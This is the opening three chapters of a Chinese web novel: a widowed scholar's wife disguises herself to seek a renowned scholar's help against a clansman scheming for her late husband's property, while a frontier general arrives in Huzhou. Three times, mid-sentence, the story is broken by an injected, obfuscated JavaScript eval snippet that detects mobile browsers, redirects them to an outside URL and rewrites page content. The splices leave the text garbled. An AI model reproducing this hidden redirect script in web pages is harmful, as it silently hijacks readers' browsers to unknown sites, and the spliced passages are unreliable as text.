《二嫁高门》 1. 第 1 章 大昭九年,春,江南道。 南地三月末的天已经热起来了,不过夜里才下过雨,雨过天晴后,倒还算凉爽。 湖州府西城的秀才巷里,湿气还没被太阳晒干,到处能听到虫鸣鸟叫,间或伴随着抑扬顿挫的稚嫩背书声,模模糊糊,勉强算得上宁静祥和。 对过了四月就开始苦夏的南地人来说,这就算是难得的舒服天儿了,连一大早就得爬起来去苦读的学子们,脸上都带着几分畅快笑意。 阿桥天不亮就出去采买,回来路上瞧见几个脚步轻快往学堂赶的学子,雀跃得好像刚出笼的雏鸟一般。 她被这轻快氛围感染,唇角刚上扬,就见街尾那户人家门半开,一个眉眼刻薄,颧骨老高的矮胖老媪探出头来。 这老媪皱皱巴巴的老脸上,吊角眼仿佛刀子一样,在阿桥挎着的菜篮上剐过去,嘴皮子翻飞,不用听就知道在骂人。 阿桥唇角瞬间紧抿着往下弯,恶狠狠跺了下脚,迅速闪进门去,重重插上门闩,小声咒骂。 “天打雷劈的下贱坯子,狼心狗肺,畜生不如!” “早晚要被老天爷给收了,去地狱里拔了舌头上蒸笼!” 在厨房里烧火的髫龄小儿,听到动静,从厨房里探出扎着双髻的小脑袋,肉嘟嘟地脸上满是了然和担忧。 “又是于老七他阿娘?” 阿桥气得胸膛起伏不定,脸都染了绯。 “她这是打量着咱家的东西将来都是她家的,生怕我们仨多吃她一口菜,多花她一文钱,我呸!” 她将菜篮子放在灶台上,打开锅盖熟练地搅着里头的粟米粥。 “都怪郎君当初心软,就不该念着于老七是同村的叔伯兄弟,借他家银钱买这秀才巷的宅子!” 于旻听阿桥提起兄长,紧抿着唇握紧了手里的烧火棍,圆溜溜的大眼睛直泛红。 他也想阿兄了…… 阿桥还在愤愤地嘟囔。 “于老七年年哭穷,银钱没还多少,倒生生养出一头狼来,盗了娘子肚……还敢惦记咱家娘子!” “逼急了眼,我非得把那宅子一把火点了不可,二郎你可不能跟你阿兄学!” 阿桥是于家早年花五百文大钱买回来的小奴,按理说不该抱怨主家,更不该在才六岁的于家二郎于旻面前说这些。 可……她搅完了粥,探头看了眼娘子赵瑞灵住的主屋,见门依然紧闭,沮丧地垂下肩膀,无声叹了口气。 这话她也没地儿说了。 他们家郎君于泓是湖州府裕民县人,家中原本有些田产,算是裕民县的富户。 因于泓读书读得好,才十四的时候就考中了秀才,于泓耶娘生前咬牙卖了大半的田地,在州府置了家业。 岂料天有不测风云,于泓去岁在去苏州府赶考举人的路上重病不起,都没等到被送回来,人就没了。 家中只剩下娇妻幼弟,凭的遭人惦记。 于泓娘子赵瑞灵从小在于家长大,及笄后就嫁给了于泓,有阿桥伺候着,是个十指不沾阳春水的单纯性子。 于泓一死,于老七借不能叫于家财旁落,被赵瑞灵带走改嫁的由头说服了于家族长。 过后他老子娘趁办丧事人来人往不防备时,贼眉鼠眼也不知何时进了屋,偷了赵瑞灵两件小衣。 前几日,于泓忌日刚过,于老七家连官媒都没请,直接叫他遭了瘟的老娘上门,捏着明显出自赵瑞灵之手的枣红色肚兜连哄带吓,威逼赵瑞灵改嫁给于老七。 想不认肚兜都没法子,秀才巷里都是能人,一般人不能把鸳鸯绣成鸭子。 赵瑞灵自然不乐意,去找于家族长做主。 族长没出面,赵瑞灵却被族长娘子明里暗里指责贪心,警告赵瑞灵别想带着于家的家产改嫁。 那族长娘子也不听赵瑞灵说不改嫁的话,只说什么好歹于老七也是个读书人,将来考得了功名是为于家争光。 还说于泓既然不争气,当年族里也曾给过于泓耶娘仪程的,本来就该还,如今就该拿出家财,再给于家供个靠山出来。 天知道,当年族里总共也就凑了五两银子,先前于泓给族里的祭田零头都不止这些。 族里不过是欺负赵瑞灵性子软,于家二郎年纪小,指望着于老七考功名蒙荫于家一族,直接把良心喂了狗。 赵瑞灵气得回来就大哭了一场,甚至还染了风寒,好几日没出门了。 阿桥越骂心里越发苦。 她家娘子这性子是立不起来了。 她今年十六,娘子要真被逼嫁到于老七家去,肯定再也过不上被伺候的日子,于老七家的活是不缺人干了。 那生儿子没劈眼的老媪很有可能为了多赚点银子,将她卖到烟花之地。 就算于二郎才六岁,也得叫他知道如今家里的境遇。 嫂子改嫁,于旻就算能留下些家财,也护不住,总得想个法子离了这火坑,才不会被那对脚底生疮的母子逼死。 却没料到,阿桥话一说完,于旻就揉了揉眼,揉掉眼底的湿气,带着点好奇指向他住的西屋。 “阿嫂在我屋后头折腾她那些水粉呢,说叫你回来了过去。” 阿桥愣了下。 天都快塌了,娘子还有心思涂脂抹粉?这心得多大啊! 她无奈地放下勺子,风风火火绕到西屋后头那片小菜地前头。 身穿牙白色窄袖褙子和杏色襦裙的赵瑞灵,正蹲在地上……玩儿泥巴。 阿桥大吃一惊,“娘子你……吃了饭我就去请秦大夫过来!” 他们家娘子不会是被逼疯了吧? 她更发愁了,疯病可没听说有治好的啊! 赵瑞灵抬起头,露出羊脂玉似的鹅蛋脸儿,虽一双杏眼儿还微微发肿,却比前几日明亮许多。 “阿桥你快来,吃了早饭我要出门,你帮我看看这水粉够不够乔装打扮成中年妇人的。” 赵瑞灵虽不是大富大贵里娇惯出的富贵花,在于家也没受过委屈。 她还算符合时下丰腴的身姿,但肉都长对了地方,竖看成岭侧成峰,纤秾合度,一笑那赛雪的脸蛋儿上露出两个小酒窝,看着就叫人心里发软。 阿桥不自觉跟着蹲下,疑惑问:“为什么要乔装打扮?去哪儿啊?” “自然是要谋个生路,他们于家不让我活,就别怪我掀了于家的老底!”赵瑞灵自觉凶神恶煞搅拌着泥水,微哑着甜软嗓音小声回答。 阿桥瞪大了眼,不自禁抽着气,往前探身,跟看鬼一样看赵瑞灵。 “娘子,你要去买砒.霜?” 其实……也不是不行,阿桥迟疑了下。 她看向挤眉弄眼嚯嚯自己那张好脸,像个傻狍子似的娘子,表情逐渐坚定。 “娘子你别出门了,省得再叫于老媪恶心着,我去!大不了我给他们一家子赔命!” “实在不行,我拿这些年的月钱,买点蒙汗药下到于老七家水瓮里,先剁了于老七的家伙事儿,夜里再一把火点了他家……” 赵瑞灵听得目瞪口呆,表情凶狠不下去了。 好家伙,原来跟个小百灵一样的阿桥,其实是只老鹰? 那小嘴儿堪比抹了鹤顶红! “别别别,这是下下策,跟他家一起下地狱,连下辈子都得一起被恶心,咱们智取,智取!”她赶紧安抚阿桥越来越高昂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630240|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赴死慷慨。 “阿兄有同窗和夫子,先前还得北城袁大家指点过,我们没必要跟于老七玉石俱焚。” “我去请袁大家替我们写讼状,拜请夫子帮忙请个讼师,状告于老七谋夺阿旻家财,让他再也考不了科举,我就不信于家不怕!” “能行吗?他家那下三滥的老媪,还捏着娘子的小衣呢!”阿桥闻言,顿住心底这样杀那样阉的煞气,紧蹙着眉帮赵瑞灵玩泥……和泥巴水粉。 虽说时下女子改嫁不算稀罕事,可这不曾婚配却通那啥是会被人泼金水的,唾沫星子也能淹死人。 赵瑞灵表情僵了下,像吞了蝇虫一样恶心,红通通的眸子里却满是冷静。 “阿兄说过,世俗规矩总比不过国之礼法,阿娘也曾告诫我,不能被世俗裹挟,就算拼着水性杨花坏了名声,大不了我做俗家姑子再也不嫁,也不能让他们得逞!” 阿桥瞬间对自家娘子刮目相看。 “娘子这话才像秀才娘子,有志气!” “不过为什么是俗家姑子?” 要她说,干脆卖了家里宅子,带二郎一起去尼姑庵里过活,却来的清静。 等二郎大点,让二郎去附近庙里读书,于老七家必不敢在神佛面前闹腾。 赵瑞灵撅了撅嘴,站起身。 “我不要去庵堂,剃头太难看了,而且也不能偷偷吃肉。” “走,去挑你一身不起眼的衣裳我穿里头,我早点出门早点回,免得叫于老媪发现不对,回头打上门来好疼的。” 阿桥:“……”就,还是她家娘子,有志气,但不多。 她不放心赵瑞灵自己出门,坚持要一起去,没再多说其他的。 只要娘子能支棱起来……哪怕支棱得不太明显,她也愿意舍命陪娘子。 无论如何,总比被卖去烟花柳巷好。 三人用完了早饭,赵瑞灵跟于旻嘀嘀咕咕几句,将冬日用的汤婆子找出来塞进于旻被窝里。 胖嘟嘟的于旻迫不及待钻了进去,他也不想跟阿嫂分开,阿嫂和阿桥是他仅剩的亲人了。 进了被窝没多会儿,于旻就被热的小脸通红。 阿桥立马焦急地喊起来,打破秀才巷的宁静,把附近的人都喊了过来。 “哟!这烧得都快能煎鸡蛋了!”隔壁家陈老媪摸着于旻用帕子熨烫过的小脸儿,看着他不停滑落的汗,颇为担忧。 “这要再烧下去,且不说命保不保得住,说不定会烧成傻子……” 凑过来瞧热闹的于老媪撇了撇嘴,烧没了正好,傻了也不错,到时就不用心疼要分给于旻的银钱了。 赵瑞灵哭天抹泪,拢着衣裳闷头往外冲。 “呜……泓阿兄没了,阿旻绝不能有事呜呜……我去杏林堂给阿旻请大夫!” 阿桥不动声色挡住于老媪要拦的动作,跺脚咬牙,大声嚷嚷。 “哎呀,我家娘子这阵子也病得不轻,脑子还不太好,一着急再晕了被人捡走拐走可怎么办呀!” “劳陈媪您看着些二郎,我陪着娘子去医堂!” 说完她用力撞开于老媪,蹬蹬蹬追了出去。 于老媪被撞得张嘴就骂人,但浑浊的眼珠子转了转,却顾不上心疼要被花掉的银钱,只心里大呼不能让那俩小娘皮借机跑了。 这年头娶个媳妇聘礼就是一大笔银子,阿桥那死丫头卖到青楼也能得十几两,这可都是将来给她儿读书的银子! 她看也没看在床上咦咦呜呜有节奏呻.吟的于旻,转身扭着肥硕的身子出去追。 但出来大门,却没看见赵瑞灵和阿桥的身影。 她拍拍大腿,骂骂咧咧往家跑。 2. 第 2 章 红彤彤的太阳像被逐渐煎熟的鸡子,黄澄澄地高升,唤醒了春风。 春末的风,携着几分江南难见的豪爽,彻底吹散了雾蒙蒙的烟雨,一路从山水间沙沙作响,提前带来一丝初夏的躁意。 湖州府郊外的官道上,甄顺翘着一条腿,斜倚在被高头大马拉着的车辕上,擦着额角的汗,不耐烦地啧啧出声,头也不回地冲着马车里念叨。 “郎君何必接这种吃力不讨好的差事,你就算替小太子将袁大家请回圣都,圣人……也没人会记你的好,那些吃干饭的文官只会念叨狼覃军姓了穆,天天叽歪什么功高震主。” “太后娘娘为了渭王,铁了心要跟圣人打擂台,明摆着是想唱兄终弟及的大戏,你若把袁大家请回去,连太后都要得罪了。” “受了伤不好好在圣都养着,多陪陪咱家大郎,非得车马劳顿的,南地这天儿才春末就要热出个屁来了,要是伤势加重……啊呸呸呸!” “唉,郎君你说你图啥呢?” 甄顺不需要马车里的人配合,连吐槽带吐唾沫,表情时而愤然,时而痛心疾首,浓眉大眼的圆脸上表情格外丰富,自个儿就能唱一出大戏。 他还记着,自家郎君从边关回圣都述职这一个月余受的委屈。 那群王八羔子对郎君守护大昭边境,打退西戎人时受的伤视而不见,只顾着算计郎君手里的兵权,明着暗着的使绊子。 圣人意味不明,始终一言不发,由着朝堂上那些士大夫们对郎君阴阳怪气,实在气煞个人。 穆长舟大马金刀坐在马车里,轮廓凌厉的面容上,乌沉沉的眉眼纹风不动落在手中的古籍上,只当没听见外头长随将他形容成了地里的小白菜。 圣都叫嚷着醇国公功高震主的那群老帮菜,又不是头一天如此了。 真碰上战事,不还是得憋着张老脸,歌功颂德老醇国公一脉对大昭的忠心不二? 只当是公鸡打鸣欠宰了,左右不能一把大刀剁巴剁巴熬了汤喝,真论叽叽歪歪,他身边有甄顺这个嘴碎子,早习惯了充耳不闻。 甄顺也就是一时心里气不顺,其实他最清楚自家郎君也不是什么好鸟,否则西戎人也不能闻穆丧胆。 这趟下江南道,郎君必定是心有成算。 他打开水囊润了润说干的嗓子,过去那股子被热风吹起来的躁意,只想赶紧找个医堂替郎君抓药,嘚儿驾嘚儿驾地赶着马车,一路进了湖州府的城门。 湖州在江南道以东,与常州府和苏州府并称为江南东道最繁华的三座府城。 一进城门,甄顺就发现,这座紧邻荻塘的江南水城之繁华,丝毫不亚于位于关内道的圣都,却有股子不同于圣都冷硬的精致。 街坊两侧连叫卖的脚商和讲价的妇人,说起话来都带着软语吴侬的温柔。 甄顺在圣都长大,只跟着郎君去过更粗犷冷硬的西北,何曾见过这种软绵绵的热闹。 他伸长耳朵,圆溜溜的眼珠子左转右转,看得兴致勃勃。 他们是从北城门进来的,这一片离荻塘近一些,是湖州府最繁华的地带。 没走出多远去,甄顺就瞧见一座立着医圣牌楼的医堂,进进出出不少人。 他赶紧赶着马车往那边去。 安置下来之前,好歹得把郎君吃空的药囊给填满,到了客栈他才好给郎君熬药。 不过赶车倒也不耽误甄顺瞧热闹。 路旁那脚商和出来采买的妇人你来我往的砍价,虽然说得太快甄顺听不太懂,可瞧脚商脸上的肉疼,还有妇人眼神的挑剔,也能看得出这妇人保管是个会过日子的。 他因为圆脸儿看起来像个小伙子,实际上……嗯,也是个满了二十三还没娶媳妇的大小伙子,心里少不得有些对媳妇的向往。 他正在心里比较到底是娶个南地媳妇儿,日日沉迷温柔乡好,还是娶个北地媳妇儿,天天热炕头爽的时候,眼角余光突然就见到有两个身穿白衣的小娘子从马头前飞奔过去。 甄顺赶紧拉住缰绳,吓得后脊梁立马就见了汗。 他们马车用的可是西戎缴来的战马,耐力一等一的好,偏脾气恰恰相反。 他被吓上一下子没啥,这大黑马被吓上一下子,真踢人啊,有时候还上嘴啃呢。 “嘿!赶着投胎去是怎么着!”听到大黑马开始打响鼻,甄顺嘟囔一句赶紧跳下马车,从塔链里取出萝卜去安抚这脾气格外暴躁的祖宗。 一边喂马,甄顺还一边歪着头,想看看刚才那俩小娘子是活腻歪了还是嫌死得慢。 穆长舟进了城后,就放下书闭目养神,被这紧急制停诓了一下。 他蹙了下眉,本来这一路忍受甄顺的念叨和颠簸就够烦的了,连马车都赶不好,这小子怕是欠揍了。 他掀开帘子,冷着脸抬起眼皮子往外看,跟甄顺一样,瞧见了已经快要进门的两个白衣身影。 虽瞧不见人长得如何,可风吹过那两个小娘子的衣裳,模糊勾勒出她们的身形,其中一个的腰肢怕还没有他俩巴掌宽,瞧着颇为顺眼。 穆长舟自认是个俗人,好看的自会多看几眼,没想到就引起了宫里太后和圣人皇后两方的注意。 为了拉拢他,都想着法儿的要给他娶填房。 这让穆长舟格外不耐烦,好看的物什谁都喜欢看,这并不代表他就喜欢被人算计。 为了十万狼覃军的生死,他也不会叫□□几两肉做了自己的主。 所以打探到圣人想替太子请太子师,他不动声色从巡按使那里截了胡,出来松口气,顺带着躲开那些大庭广众就敢往怀里扑的小娘子。 怎么说呢,在西北待了十年,就那夏吃沙土东吃雪的不毛之地,小娘子几乎见不着,碰见只母猪都觉得赛貂蝉。 他能控制自己,就怕万一有胆大包天的下药,他□□的兄弟未必能控制住自己。 正在心里谴责自家老二的工夫,穆长舟耳朵微动,听到另一侧有两个气急败坏的声音传来。 “艹,我就说于家这小寡妇不老实, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630241|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么出来给于家小郎抓药,跑得跟兔子成了精一样,说不准是要去会哪个姘头去!” “等回头表哥你娶了她,多抽两顿狠的,就知道老实了,不过是个没耶娘教养的孤女,嫁了个短命鬼,还敢耍花招,不打怕是要上天了!” “算了,就怕叫族老知道了面子上不好看,只要她把于家家财交出来,我也不是不能好好待她,细皮嫩肉的打坏了还怎么伺候?” “那怕啥?就她这水性杨花的模样,指不定于大郎早就成了绿毛龟,咱可不受这个闲气,回头你不管,也得让姨母把这小娘皮收拾明白咯!” 穆长舟小时候的保母来自南地,能听懂南地话,只通过这寥寥几句,就听出了险恶来。 比起圣都全都披着规矩礼法的阴私,民间这种人心不足蛇吞象的恶心倒更直白些。 他抬起骨节分明的大手,掀开帘子撩了一眼,就见两个身穿短褐的男子急匆匆朝马车这边撵,尖嘴猴腮,比他还不像好人。 他思忖片刻,脑海中回忆起那把子细腰,不疼不痒的时候,倒也不介意稍微积点德,遂敲敲马车壁,吩咐甄顺。 “快些,抓了药先去拜见袁先生。” 甄顺安抚好了马,听出郎君话里的不耐烦,诶了声,立马抓着马头缰绳往医圣牌楼里拐,正好挡住后头探头探脑想绕过去的男人。 别看这俩人嘴里话放得狠,被明显看起来价值不菲马车挡住,又看着人高马大的甄顺和明显更贵的黑马,一声都没敢坑,只能憋着烦躁跟在后头。 等甄顺停好马车,抓着方子往医堂内走,正好碰上这两人在医堂内大吵大闹。 “人分明是进了你们医堂,怎么会不见了!” “那可是我表哥未过门的媳妇儿,人肯定是被你们给拐走了!” 医堂里的伙计气得直瞪眼,却不好当着病人的面跟他们吵,被推搡得脸都涨红了。 甄顺撇撇嘴,用手捂住嘴,脚下变换位置,换着腔调出声。 “这里可是看病的地方,不是茶楼酒肆,谁还替你看着你媳妇啊!” “就是,若是扰了哪个病人,我阿耶若有个三长两短的,小心我抓你见官!” 医堂内原本还都在瞧热闹,多是带着家里人来看病的。 一听会打扰病人,耽误治病,都跟着你一言我一语地骂起这俩胡搅蛮缠的男人。 甄顺乐滋滋瞧着两人被人喷着唾沫星子骂出去,出来路上还乐呵呵地跟穆长舟感叹。 “那砢碜货好像是定下了个长得挺好看的小娘子,小娘子大概是进医堂瞧眼去了吧?” “说不准就是先前跑进去的那俩小娘子其中一个呢,嘿,虽然没瞧见模样,看身形就知道都长得不错,也不知道人到底哪儿去了。” “刚才也没瞧见有人出来,郎君你瞧见了……嗐,我都忘了,郎君你也不好凑热闹,估摸着是没瞧见。” 穆长舟沉默不语,不,他看见了,只是他特别想重金赎回那双没见过的眼睛。 3. 第 3 章 江南水乡河网湖群,街巷多沿河流所建,哪怕是南地人,找不熟悉的巷子,都很容易迷失方向。 所以阿桥不放心娘子自己出来,她想着自己是家里出门最多的,能张得开嘴替娘子问道儿。 但这会儿阿桥却张不开嘴了。 她眼神格外复杂看着身边弯腰塌背,贼眉鼠眼,趴着墙歪歪扭扭往外看的赵瑞灵,恨不能离她八丈远。 赵瑞灵除了把脸涂抹成了土黄色,还在左眼下方贴了好几块狗皮膏药,简直叫人没眼看。 阿桥深吸口气,还是没忍住劝,“娘子,乔装打扮也就算了,你这样不是更引人注意吗?” 赵瑞灵迈着她记忆中的媒婆步伐往另外一条路上走,闻言不赞同地看了阿桥一眼。 “一看你就没出过远门!” 阿桥翻个白眼:“娘子你出过?” 赵瑞灵正仔细找地方呢,被噎了下,擦擦额头上的汗直起腰。 “我虽没出过远门,可我看过阿娘和阿兄留下的书啊!” “阿兄说说了,读万卷书如行万里路,那我读了几百卷书,怎么也相当于……去过常州府那么远了!” “我肯定比你见识广,你信我!” 阿桥:“……”郎君原话是这么说的吗?她怎么记得不大对呢。 但赵瑞灵没等阿桥反应过来,就拍着胸口一本正经辩驳。 “这水粉即便掺了土,仔细看还是能看出我们俩细皮嫩肉,太容易叫人发现了,把脸上搞得砢碜一些,别人就懒得仔细看了哩!” “再说你家娘子我虽长得不是国色天香,好歹也是小家碧玉,胸襟又如此广阔,我要是昂首阔步走路,乔装跟没乔装有什么区别?” “我们现在打扮得越丑,于老媪和于老七就是看到也懒得费眼看,只会觉得这年头大街上丑人作怪的特别多。” 阿桥看了眼赵瑞灵被拍得微微震颤的……胸襟,沉默了。 不得不说,虽然娘子擅长说歪理……可歪理也是理,她除了能在心里骂一句娘子忒不要脸,竟然没法反驳。 她只好问:“那你这跟地下有钱一样,到底找什么呢?我陪你一起找。” 赵瑞灵终于找到了自己想找的那个沙坑,高兴指过去。 “找到了!” “阿兄来拜访袁翁时,说起过他要进豆花巷之前走错了方向,正好碰上有宠孩子的家里给挖了个沙坑,把人家小郎的铲子给踩坏了,还赔了三文钱呢。” 她冲着沙坑正对面的豆花巷走。 “袁大家就住在这里,进去右转再右转第三家。” 阿桥赶忙跟着脚步雀跃起来的赵瑞灵往豆花巷走。 她还有很多不解,只是先前急着出门,又要摆脱身后追过来的于老七表兄弟俩,实在没来得及问。 “娘子既然说郎君有同窗和夫子,为何不直接找他们帮忙,偏要来找只指点过郎君几次的袁大家呢?” 湖州府的袁大家,据说曾在圣都做圣人跟前的大官,是跟着先圣打过天下的,在湖州府的地位也颇有些不同,连知州大人见了都要客气三分。 可传言说袁大家脾气古怪,生性不喜见人,也不爱参加那些权贵间的推杯交盏,更爱游走在山水之间,于是更传出了几分菩萨一样只可远观的贤名。 阿桥知道赵瑞灵要去找袁大家,心里有些胆怯,生怕到时候被袁家的家丁打出来。 赵瑞灵顺利找到地方的活泼稍沉寂了些,脚步慢了下来,原本还格外灵动的杏眼儿都染上了沉重。 “我们只能找他老人家。” 肚兜被人偷走用来威胁她这种事,在于老媪彻底破罐子破摔张扬出来之前,实在是没法说。 即便揭破,于老媪可以说是自己捡到的,也可以诬陷她与于老七有一腿然后不承认。 她已非处子之身,无从验身。 虽这世道待女娘不算太苛刻,鼓励改嫁,大昭立国后却一直在主张重视规矩立法,未曾婚娶通女干不违律法,却有违良俗。 于家族长支持于老七占了于家家财,是欺负赵瑞灵已经没有了娘家,和于旻都算孤儿,没人为他们张目。 如若请于泓的夫子和同窗写诉状,于族长和于老七甚至可以肆无忌惮说她是靠身体得到的诉状,只为了抢占属于于旻的家财,连那些人的名声一起毁掉。 “只有诉状出自袁翁之手,族长和于老七他们家才不敢往袁翁身上泼脏水,知州大人也会相信我们说得是真的。” 阿桥闻言更惶恐,那如果袁大家不肯帮忙,她就只能跟于老七家同归于尽了吗? 赵瑞灵深吸口气,又努力支棱起来,拉着阿桥快速往巷子口走。 “快点快点,阿兄跟我说过袁翁的喜好,咱们还是挺有胜算的!” “袁翁每天最多见三两个人就会不耐烦,说不定已经有人去过了,咱们得赶在旁人前头进门才行!” 赵瑞灵从七岁就跟于泓一起如兄妹般长大,及笄后嫁给于泓也一直习惯叫阿兄,于泓习惯很多小事都跟赵瑞灵说。 先前于泓拜访袁大家也没那么容易,于泓嘀咕过的那些话赵瑞灵都还记得,拉着阿桥几乎小跑起来。 只是刚跑了没几步,阿桥就把赵瑞灵给拉住了。 她看着不远处那辆格外高大的马车,“这马车有点眼熟,是不是咱们在杏林堂那边见过?” 南地马车样式和北地不一样。 南地雨多,马车多是飞檐,双轮,窄小,方便穿街走巷。 但他们面前这辆马车是四轮,车檐是圆弧内叩,宽得快要把整条巷子挤满了。 阿桥道:“这不是我们湖州府的马车。” 赵瑞灵心里咯噔一下,赶忙看过去,确实发现跟家里的骡车是大不相同。 俩人面面相觑,外地来的马车,挤到豆花巷来,不会也是来找袁大家的吧? 这是碰上冤家了啊! 阿桥咬咬牙,推推赵瑞灵,“娘子你从旁边的小道绕过去,我去拦住他们!” 赵瑞灵苦恼得不自觉噘嘴,“你要怎么拦?总不能躺马车下头去吧?” 阿桥:“……”这倒也是个法子。 只是她记得先前看过的高头黑马,她有可能躺不到马车下,就被马踩死了。 她忍着害怕道:“反正只要拖住他们片刻,够娘子你先进袁翁家的门就好了呗!” 大不了被马踩的时候,她抱住脑袋滚开。 “不行,咱家谁都能受伤,就你不能。”赵瑞灵不同意。 阿桥感动得眼圈都红了。 赵瑞灵:“于老媪打上门,只有你能挡得住,家里的饭食也只有你会做,还有家里的鸡等着你喂呢,你不怕疼不怕臭,绝对不可以伤在这里!” 阿桥立刻把感动收了回去,还是让娘子自己去躺车底好了! 赵瑞灵还真往马车那边走。 阿桥呆了呆才跟上去,反正她是不信又娇气又爱躲懒的娘子敢去硬碰硬。 这马车正是甄顺赶着的那辆。 他们这高头大马的四条腿儿比赵瑞灵她们的四条腿快得多,早在半个时辰前就到这附近了。 穆长舟先前为了止住甄顺的碎嘴,直接吩咐说天黑之前找不到袁宅,叫甄顺三天不许吃饭。 甄顺还想尝尝湖州的千张包和太湖三白呢,这要是三天不能吃饭,他活着还有什么劲儿! 他瞬间就忘了医堂里的热闹,紧着赶马车到了北城。 下江南之前,圣人就已让江南道巡察司,探查清楚曾经名闻圣都的袁大家所住地址。 可北城靠水,巷子特别多,本地人都不一定记得住巷子的分布,就更别提甄顺。 他沿着北外城的河道边上,走了许久,也没找到巡察司给的地址,来来回回好几趟,快把自己和黑马都转成了没头苍蝇。 这会儿甄顺看着天色,生怕自己吃不上饭,已经准备扔下自己郎君跳车跑了……哦不,是让郎君先在马车里等着,他去敲门问路。 但他刚跳下马车,就听到‘哦哟’一声夸张的惊叹。 “小郎君你这挡着路是做甚呀?还叫不叫人回家了!” 赵瑞灵甩着帕子往甄顺脸上一拂。 “这么精神又俊俏的小郎君,长得人高马大,走走路多好咧,做甚要赶马车进来。” 甄顺原本看到赵瑞灵这打扮还有点想后退,结果被帕子甩得愣了下。 他实在没听清楚赵瑞灵特别快速的话,只听到‘精神又俊俏’五个字,立马露出了两排大白牙。 这阿婶长得不怎么样,眼光倒是很好嘛! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630242|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >马车里因为受伤不轻,正闭目养神的穆长舟,却颇有些玩味地睁开眼,看向马车帘子。 他十几岁就在战场上杀敌,为了不让人嘲笑自己受阿耶蒙荫才被圣人信任带兵,他小时候吃过的苦,比吃过的饭都多。 为了能根据西戎人的马蹄声猜测敌人数量,他曾耗费过半年的时间,日夜吃住都跟马匹和士兵在一起,练就了几十里外就能猜出有多少敌人的本事。 四只蹄子的他都能听得出节奏和多寡,赵瑞灵和阿桥两个人的脚步节奏他自然也不会听错。 所以先前他在马车里才能发现她们从医堂里出来,然后就被辣到了眼睛。 如果她们住在这里,按先前那两个男人的说法,她们实在没必要乔装打扮成中年妇人后再如此张扬,生怕旁人发现不了她们。 是的,反正都被辣了眼,他自然将两人脸上那土黄色的乔装打扮看得一清二楚。 如果她们不住这里……却是为何上前跟甄顺搭话呢? 甄顺没自家郎君眼睛和耳朵好使,被夸得来了精神,立马接话。 “两位阿婶,我们是外地来的,过来豆花巷找……” 赵瑞灵咯咯咯笑着打断他,道:“外地来得好哇!” “话说小郎君你成亲了没?耶娘是做什么营生的?家中有几亩田地呀?” “阿婶瞧你这气度就不像一般人,这里可知道有好些端庄贤惠的小娘子适合小郎君你呢!” 这话赵瑞灵说得是官话,甄顺听懂了,脸红了,挠着后脑勺嘿嘿笑,颇有些问问有多少小娘子的冲动。 穆长舟唇角抽了抽,冷着脸敲了敲马车,外头这是王八碰上绿豆了,都这么能说。 甄顺瞬间被惊醒,为了自己三天的饭,赶紧说正事儿。 “那什么,阿婶我不找媳妇,我想跟您打听打听路,您知不知道袁修永先生住在哪儿?” 赵瑞灵心道,还真是来跟她抢机缘的冤家! 阿桥呼吸都屏住了,悄悄拽赵瑞灵的衣摆,示意让赵瑞灵先跑,她断后。 赵瑞灵没管阿桥,只板下脸来,一脸警惕看着甄顺。 “你们找袁翁作甚?我可跟你们说,袁翁家的小外孙女已经找到人家了,你们就是上门也没用!” 甄顺:“……”这阿婶翻脸的速度是不是太快了些? 他听出来了,袁翁小外孙女的媒怕是眼前这阿婶给保的,只得哭笑不得地解释。 “我们不是上门来求亲的,只是为了……主家小郎君来求先生教导。” 赵瑞灵瞬间松了口气,接着眼珠子就不动声色转了转。 不是跟她们一样十万火急的事儿就好,免得她抢了先还要愧疚。 至于给家里孩子请先生……就阿旻每回被阿兄教导时的苦相,叫这人晚点找到袁翁,是帮那位主家小郎君呢。 她干脆翻个白眼,甩甩帕子往一旁指。 “直走走到头左转,看到河岸线再往右,靠左边第三家就是袁翁家。” 说完,她拉着阿桥就往前走,“走走走,赶紧给你加女娘说说你们相中的那郎君的事儿!” “我过会儿也得往袁翁家去一趟,好早些把袁小娘子的亲事给定下来,免得什么不三不四的都要上门抢老娘饭碗!” 阿桥:“……”她突然觉得,要是娘子被卖到梨园,应该能有口饭吃。 甄顺:“……”这阿婶不是在骂他吧? 他顺着赵瑞灵指的方向走,还跟里头穆长舟念叨。 “那阿婶都说我俊了,肯定是因为我没让她赚上这份谢媒钱,她才指桑骂槐。” “话说江南女娘确实挺不错的,一把年纪的大婶瞧着都格外有鲜活劲儿,骂人也好听嘿嘿……” 穆长舟懒得理会甄顺这愚蠢劲儿,袁修永只有两个儿子,哪儿来的外孙女。 那俩辣眼睛的走了,他这才掀开帘子淡淡吩咐—— “转头回去,跟上那两个女娘……那两位大婶。” 甄顺愣了下,“可郎君不是说,先去拜访袁大家吗?” 